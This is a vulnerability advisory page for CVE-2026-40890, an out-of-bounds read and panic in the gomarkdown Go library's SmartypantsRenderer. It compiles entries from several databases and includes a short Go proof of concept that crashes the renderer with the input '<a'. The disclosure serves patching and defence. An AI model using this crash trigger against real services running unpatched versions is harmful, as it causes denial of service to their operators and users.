CVE-2026-40890
JSON

7.5high

github.com/gomarkdown/markdown: Out-of-bounds Read in SmartypantsRenderer

Severity
7.5high CVSS:3.1 by GitHub_M
Exploit likelihood
0.31% (higher than 25% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-77fj-vx54-gvh7GO-2026-5208

Description

The package `github.com/gomarkdown/markdown` is a Go library for parsing Markdown text and rendering as HTML. Processing a malformed input containing a < character that is not followed by a > character anywhere in the remaining text with a SmartypantsRenderer will lead to Out of Bounds read or a panic. This vulnerability is fixed with commit 759bbc3e32073c3bc4e25969c132fc520eda2778.

Affected

Product or packageVersionsReported by
gomarkdown markdown< 759bbc3e32073c3bc4e25969c132fc520eda2778, before 2026-04-10CVE List, NVD
github.com/gomarkdown/markdown (Go)before 0.0.0-20260411013819-759bbc3e3207GitHub Advisory Database, Go Vulnerability Database

All scores

GitHub_M7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
GitHub7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Classification

CWE-125

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.

What each source says

CVE List

The package `github.com/gomarkdown/markdown` is a Go library for parsing Markdown text and rendering as HTML. Processing a malformed input containing a < character that is not followed by a > character anywhere in the remaining text with a SmartypantsRenderer will lead to Out of Bounds read or a panic. This vulnerability is fixed with commit 759bbc3e32073c3bc4e25969c132fc520eda2778.

GitHub Advisory Database
Summary

Processing a malformed input containing a < character that is not followed by a > character anywhere in the remaining text with a SmartypantsRenderer will lead to Out of Bounds read or a panic.

Details

The smartLeftAngle() function in html/smartypants.go:367-376 performs an out-of-bounds slice operation when processing a < character that is not followed by a > character anywhere in the remaining text. https://github.com/gomarkdown/markdown/blob/37c66b85d6ab025ba67a73ba03b7f3ef55859cca/html/smartypants.go#L367-L376 If the length of the slice is lower than its capacity, this leads to an extra byte of data read. If the length equals the capacity, this leads to a panic.

PoC
package main

import (
	"bytes"
	"fmt"

	"github.com/gomarkdown/markdown/html"
)

func main() {
	src := []byte("<a")

	fmt.Printf("Input: %q  (len=%d, cap=%d)\n", src, len(src), cap(src))

	var buf bytes.Buffer
	sp := html.NewSmartypantsRenderer(html.Smartypants)
	sp.Process(&buf, src) // panics: slice bounds out of range

	fmt.Printf("Output: %q\n", buf.String())
}
Impact

This vulnerability will lead to a Denial of Service / panic on the processing service.

-- The Datadog Security Team

Go Vulnerability Database

Go Markdown has an out-of-bounds read in SmartypantsRenderer in github.com/gomarkdown/markdown

NVD (es)

El paquete “github.com/gomarkdown/markdown” es una biblioteca Go para analizar texto Markdown y renderizar como HTML. Procesar una entrada malformada que contiene un carácter < que no es seguido por un carácter > en ninguna parte del texto restante con un SmartypantsRenderer conducirá a una lectura fuera de límites o a un pánico. Esta vulnerabilidad se corrige con el commit 759bbc3e32073c3bc4e25969c132fc520eda2778.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-40890 changed 2026-04-21CVE Terms of Use
GitHub Advisory DatabaseGHSA-77fj-vx54-gvh7 changed 2026-09-10CC-BY-4.0
Go Vulnerability DatabaseGO-2026-5208 changed 2026-07-24CC-BY-4.0
NVDCVE-2026-40890 changed 2026-10-26Public domain